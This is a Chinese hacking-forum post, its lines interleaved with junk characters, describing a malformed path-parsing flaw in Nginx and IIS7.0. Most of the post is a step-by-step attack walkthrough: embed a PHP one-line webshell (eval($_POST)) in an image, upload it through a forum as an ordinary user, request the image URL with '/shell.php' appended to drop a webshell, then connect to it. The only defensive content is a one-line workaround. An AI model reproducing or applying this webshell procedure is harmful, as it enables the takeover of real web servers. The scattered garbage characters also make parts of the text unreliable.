IIS7.0畸形解析0day通杀漏洞,和Nginx上次的0day一样。使用iis7.0的注意了。临时解决办法:关闭cgi.fix_pathinfo为0
7 Y7 \2 e2 S( m: K7 TNginx好像又爆0day了,windows下可任意查看和下载脚本文件 王猛 IIS7.0畸形解析0day通杀漏洞,和Nginx上次的0day一样。使用iis7.0的注意了。
D( c1 ^. g: v, {, Q8 ~__________________________________ ; R3 ?4 ~" }& _4 W1 J
9 e" y; ]$ _, }" A
先说一下Nginx那个0day(出来有几天了,因为介绍的网站很多,所以当时就没转载)
; c6 J a7 c* C* M先合并一张PHP一句话图片马,合并方法:
/ M6 G, B- u3 [' A* z( ]6 K& J①、DOS合并:copy 1.gif /b + 1.txt/a asp.gif
) |% T3 M% ?6 ^; [. ?0 i6 m m②、用edjpgcom,进行图片和一句话木马的合并,一句话代码为"<?fputs(fopen("shell.PHP","w"),"<?eval($_POST[akt]);?>")?>"
6 C) J% l1 G8 ]9 C图片随便找一张.
( D0 m5 D2 Y9 H+ U$ f一句话:<?php fputs(fopen(shell.php,w),<?php eval($_POST[akt])?>);?> ! [( p3 Y7 A# _, Y
然后找个nginx的站,先注册一个用户然后在论坛上传一张我们刚刚合并的图片一句话马。
4 I0 g6 j; T$ L6 Z# E; I; m2 y找到图片地址,然后在地址后面加个shell.php,在浏览器中运行。
4 ~4 _, B8 r4 ]6 x8 e比如假设图片地址为 http://www.political-security.com/tupian/1.jpg
( t6 D7 f- A) `& p则执行地址为 http://www.political-security.com/tupian/1.jpg/shell.php" z# k8 ]' V- `# R! X9 J
然后,会在目录下生成shell.php。比如: www.political-security.com/tupian/shell.php
' ` J3 a* t7 ^, c3 Bshell.php就是我们的一句话地址。再拿一句话的客户端连接这个一句话地址就好。 ! P- c: \2 I. ~# S
上面就是Nginx拿站全过程,IIS7.0的畸形解析和这个类似。 1 X; o5 F6 E3 t3 [3 \
找到某个使用IIS7.0架设的站,然后找到其中的图片上传点(不需要管理权限,普通注册用户即可搞定),把PHP大马后缀改成.jpg,传上去,得到图片地址。 / v* g: T( J$ r& e8 W% t: _
在图片格式后面添加xx.php xx随便你怎么填。只要后缀为.php就好。
) g! T" e6 y2 X# S9 f剩下的就随便你去搞吧。
2 M6 i- s0 c2 ]/ Z/ o$ o( b9 i$ B2 j8 f" J
|